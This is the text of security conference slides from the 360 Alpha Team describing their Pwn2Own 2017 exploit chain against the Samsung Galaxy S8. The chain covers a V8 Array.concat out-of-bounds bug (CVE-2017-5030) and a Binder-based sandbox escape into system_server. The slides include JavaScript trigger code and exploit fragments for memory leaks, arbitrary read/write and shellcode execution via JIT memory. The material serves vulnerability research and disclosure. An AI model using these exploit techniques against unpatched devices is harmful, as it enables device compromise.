Attacks and analysis of the Samsung S8 from Mobile PWN2OWN Jianjun Dai(@Jioun_dai) Guang Gong(@oldfresher) @360 Alpha Team
About Us • Alpha Team @360 Security • 100+ Android vulnerabilities ( Google Qualcomm etc ) • Won the highest reward in the history of the ASR program. • 5 Pwn contest winner – Pwn2Own Mobile 2015( Nexus 6) – Pwn0Rama 2016 (Nexus 6p) – Pwn2Own 2016(Chrome) – PwnFest 2016(Pixel) – Pwn2Own Mobile 2017(Galaxy S8 )
How we pwned Samsung Galaxy S8 running Android Nougat Two bugs forms the complete exploit chain • One V8 bug to compromise the renderer • One system_server bug to escape sandbox and allows app install
Agenda • Exploitation of V8 engine • Introduction a way to escape sandbox • Exploitation of System_server • Conclusion
Exploitation of V8 engine • Introduction Samsung Internet Browser • Introduction and analyze the Chain of Bugs #1 - CVE-2017-5030 • Exploit CVE-2017-5030
Samsung Internet Browser • Built-in browser for Samsung Galaxy S8 • Based on Chromium source • Hereinafter Sbrowser
CVE-2017-5030 – Chain of Bugs #1 • Nday, first reported by Brendon Tiszka • Found by us with 360 Android vul scanner • Incredible, V8 in Sbrowser is not latest, even the day of contest
360 VulScanner http://shouji.360.cn/vulscanner.html
CVE-2017-5030 – Chain of Bugs #1 • Array OOB Access Bug in V8 Array.concat • in Function IterateElements
Vulnerable Code switch (array-> GetElementsKind ()) { case FAST_SMI_ELEMENTS: case FAST_ELEMENTS: case FAST_HOLEY_SMI_ELEMENTS: case FAST_HOLEY_ELEMENTS: { // Run through the elements FixedArray and use HasElement and GetElement // to check the prototype for missing elements. Handle<FixedArray> elements (FixedArray::cast(array->elements())); int fast_length = static_cast<int>(length); DCHECK ( fast_length <= elements->length()); FOR_WITH_HANDLE_SCOPE ( isolate , int, j = 0, j, j < fast_length , j++, { Handle<Object> element_value(elements->get(j), isolate ); //-----> OOB Access if (!element_value->IsTheHole()) { if (! visitor -> visit (j, element_value)) return false; } else { Maybe<bool> maybe = JSReceiver:: HasElement (array, j); if (!maybe.IsJust()) return false; if (maybe.FromJust()) { // Call GetElement on array, not its prototype, or getters won't // have the correct receiver. ASSIGN_RETURN_ON_EXCEPTION_VALUE ( isolate , element_value, JSReceiver:: GetElement ( isolate , array, j), false); if (! visitor -> visit (j, element_value)) return false;} //-----> trigger callback } }); break ; }
Trigger it Function gc (){ var arr = new Array; for (var i =0;i<0x200000;i++) arr.push(new String); } var proxy = new Proxy([], { defineProperty() { if (w.length !=1){ w.length = 1; // shorten the array so the backstore pointer is relocated gc (); // force gc to move the array's elements backstore } return Object.defineProperty.apply(this, arguments); } }); class MyArray extends Array { // custom constructor which returns a proxy object static get [Symbol.species](){ return function() { return proxy ; } }; } var w = new MyArray(10); w[1] = 0.1; w[2] = 0.1; var result = Array.prototype.concat.call(w); for (var i = 0; i < 10; i ++) { // leak info document.write( result [ i ]); document.write("<br />"); }
Patch for CVE-2017-5030
Exploit CVE-2017-5030 • Control the OOB Memory • Leak Fake ArrayBuffer • Arbitrary Memory R/W • Execute Shellcode
Control the OOB Memory function evil_callback (){ evil_callback .myarr.length=1; if ( evil_callback .phase==0){ global[0]=new ArrayBuffer(magic_size); global[0][0]={}; for (var i =1;i<20;i++) global[0][i]=magic_number2; global[0][2]=text; global[0][3]=huge_func; global[1] = new Array(magic_size_for_container); for (var i =0;i<4;i++) global[1][i]=0.1; } …… scavenge(); return 0.1; }
Control the OOB Memory
Control the OOB Memory
Leak Faked ArrayBuffer • Triggered again • Concat function wrongly treat it as an object and returns it in the result array function evil_callback (){ evil_callback .myarr.length=1; if ( evil_callback .phase==0){ … } else if ( evil_callback .phase==1){ //heap fengshui global[0]=magic_arr.push( evil_callback .backingstore) …… scavenge(); return 0.1; }
Leak Faked ArrayBuffer
Arbitrary Memory R/W • Construct ArrayBuffer in controlled double array • Modify ArrayBuffer’s backing_store to any address in double array • Read and Write in ArrayBuffer->backing_store ArrayBuffer map propeties elements bytelength backing_store …
Execute Shellcode var huge_str = "eval('');"; for (var i =0; i <8000; i ++) huge_str += 'a.a;'; huge_str += "return 10;"; var huge_func = new Function('a', huge_str ); JIT Code in V8 is writable and executable, overwrite it to execute shellcode.
Escape Sandbox • Possible Ways for Escaping • Binder call with Parcelable Object
Possible Ways for Escaping • Browser IPC ------ difficult, magical vul need • System Services(Binder Call) • Serializable (CVE-2015-3825, etc) • Parcelable • Kernel(System Call) ------- difficult, especially Project Treble
Binder call with Parcelable Object • Restriction of SeLinux imposed on Browser • An ingenious way to bypass
Restriction of SeLinux imposed on Browser • Browser Processes • Isolated_app Domain system/sepolicy /isolated_app.te allow isolated_app activity_service:service_manager find; allow isolated_app display_service:service_manager find; allow isolated_app webviewupdate_service:service_manager find; neverallow isolated_app { service_manager_type -activity_service -display_service -webviewupdate_service }:service_manager find;
Restriction of SeLinux imposed on Browser • Getting System Services ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); A few services like activity_service can be got in sbrowser sandboxed process Get System Services in the Domain isolated_app Retuened result getSystemService(LOCATION_SERVICE) null getSystemService(...) null getSystemService(ACTIVITY_SERVICE) ActivityManager getSystemService(DISPLAY_SERVICE) DisplayManager
Restriction of SeLinux imposed on Browser public final int startActivity (IApplicationThread caller , String callingPackage , Intent intent , String resolvedType , IBinder resultTo , String resultWho , int requestCode , int startFlags , ProfilerInfo profilerInfo , Bundle bOptions ) { return startActivityAsUser ( caller , callingPackage , intent , resolvedType , resultTo , resultWho , requestCode , startFlags , profilerInfo , bOptions , UserHandle. getCallingUserId ()); } public final int startActivityAsUser (IApplicationThread caller , String callingPackage , Intent intent , String resolvedType , IBinder resultTo , String resultWho , int requestCode , int startFlags , ProfilerInfo profilerInfo , Bundle bOptions , int userId ){ enforceNotIsolatedCaller ("startActivity"); userId = mUserController. handleIncomingUser ( Binder . getCallingPid (), Binder . getCallingUid (), userId , false, ALLOW_FULL_ONLY, "startActivity", null); // TODO: Switch to user app stacks here. return mActivityStarter. startActivityMayWait ( caller , -1, callingPackage , intent , resolvedType , null, null, resultTo , resultWho , requestCode , startFlags , profilerInfo , null, null, bOptions , false, userId , null, null); } void enforceNotIsolatedCaller (String caller ) { if (UserHandle. isIsolated ( Binder . getCallingUid ())) { throw new SecurityException("Isolated process not allowed to call " + caller ); } }
An ingenious way About 600 classes implement the interface Parcelable, the member methodcreateFromParcel of all these classes can be called from sbrowser’s sandbox using binder call public interface Parcelable { … public void writeToParcel (Parcel dest , int flags ); public interface Creator <T> { public T createFromParcel (Parcel source ); public T[] newArray (int size ); … }
An ingenious way A way to reach system_server without calling function enforceNotIsolatedCaller was found in ActivityManagerNative. onTransact, that is remote transact by Binder call case CONVERT_TO_TRANSLUCENT_TRANSACTION: { data . enforceInterface (IActivityManager.descriptor); IBinder token = data . readStrongBinder (); final Bundle bundle ; if ( data . readInt () == 0) { bundle = null; } else { bundle = data . readBundle (); } final ActivityOptions options = ActivityOptions. fromBundle ( bundle ); boolean converted = convertToTranslucent (token, options); reply . writeNoException (); reply . writeInt (converted ? 1 : 0); return true; }
Recommend
More recommend